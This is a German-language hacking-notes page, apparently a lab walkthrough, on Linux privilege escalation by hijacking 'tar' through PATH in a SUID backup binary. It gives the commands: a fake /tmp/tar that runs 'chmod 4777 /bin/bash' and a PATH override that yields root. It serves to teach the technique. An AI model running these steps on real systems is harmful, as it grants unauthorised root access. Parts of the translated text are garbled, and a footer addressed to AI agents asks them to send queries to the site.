> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/path-hijacking/path-hijacking-tar-linux-privilege-escalation.md).

# PATH (tar)-Übernahme - Linux-Privilegienerweiterung

PATH-Übernahme (tar)-Notizen zur Linux-Privilegienerweiterung, mit Enumerierungsschritten, Ausnutzungsbeispielen und validierungsorientierter Berichterstattung.

## Was es ist

PATH-Hijacking missbraucht privilegierte Programme oder Skripte, die Befehle ohne absolute Pfade aufrufen. Wenn der Angreifer ein Verzeichnis weiter vorne in `PATH`, der privilegierte Prozess kann die Binärdatei des Angreifers ausführen. Diese spezielle Seite konzentriert sich auf **PATH-Hijacking (tar)** und hält den Ausnutzungsablauf praxisnah: die Bedingung identifizieren, sie sicher validieren und dann die kleinste nötige Nutzlast ausführen, um die Auswirkung nachzuweisen.

## Aufzählung

Beginnen Sie damit, den lokalen Kontext und die genaue Fehlkonfiguration zu bestätigen, bevor Sie den Ausnutzungsweg ausführen.

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

## Beispiele

**Binärsuche mit SUID-Berechtigungen**

```bash
find / -perm -4000 2>/dev/null
```

Ergebnis: Eine interessante Binärdatei wurde gefunden:/ /\&#xNAN;**`/usr/bin/pandora_backup`**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b587e5cbaa1faba33c888df8fa1e3049fdf7b37e%2Fimage%20(974).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-38fb341fb6f5610f0ea9c049ea2cadfdaf828f0d%2Fimage%20(975).png?alt=media" alt=""><figcaption></figcaption></figure>

**Binäranalyse mit `ltrace`**

Um zu verstehen, wie die Binärdatei funktioniert, haben wir **`ltrace`** (ein Tool zur Verfolgung von Systemaufrufen) verwendet, um die von dieser Binärdatei ausgeführten Systemaufrufe zu beobachten:

```bash
ltrace /usr/bin/pandora_backup
```

Dadurch konnten wir feststellen, dass die Binärdatei den **`tar`** Befehl ausführt, ohne einen absoluten Pfad für die ausführbare Datei zu verwenden, was eine potenzielle Schwachstelle schafft. Anders gesagt: Wenn wir unser **`PATH`** so ändern, dass es ein Verzeichnis enthält, das eine bösartige ausführbare Datei namens `tar`ändern, würde es anstelle des Originals ausgeführt werden.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50f8807c260e25916d00e18b64e0b0de735896a4%2Fimage%20(977).png?alt=media" alt=""><figcaption></figcaption></figure>

**Ausführung durch Umleitung von PATH**

**Ein bösartiges `tar` Datei ein:** Wir haben eine Datei namens erstellt `tar` im `/tmp/` Verzeichnis mit Ausführungsberechtigungen **SUID**. Diese Datei enthält einen Befehl, um eine Bash-Shell mit erhöhten Rechten zu öffnen:

```bash
chmod 4777 /bin/bash
```

**Änderung der Variablen `PATH`:** Um das System zu zwingen, unsere bösartige Version von zu verwenden `tar`, haben wir die Variable geändert `PATH` um das Verzeichnis zu priorisieren `/tmp/`

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1562055c871e2b9a4455b295ce7e5ec78f618f96%2Fimage%20(978).png?alt=media" alt=""><figcaption></figcaption></figure>

**Ausführung der verwundbaren Binärdatei:** Nach der Änderung der `PATH`, haben wir die Binärdatei ausgeführt **`pandora_backup`**:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6aeaaddc895ed1a2820f5a59f18f67e77ebb69a0%2Fimage%20(979).png?alt=media" alt=""><figcaption></figcaption></figure>

Dank der Ausführung unserer modifizierten Version von `tar`, wurde eine Bash-Shell mit erhöhten Rechten geöffnet, was uns `root` Zugriff erhielten.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/privesc/path-hijacking/path-hijacking-tar-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
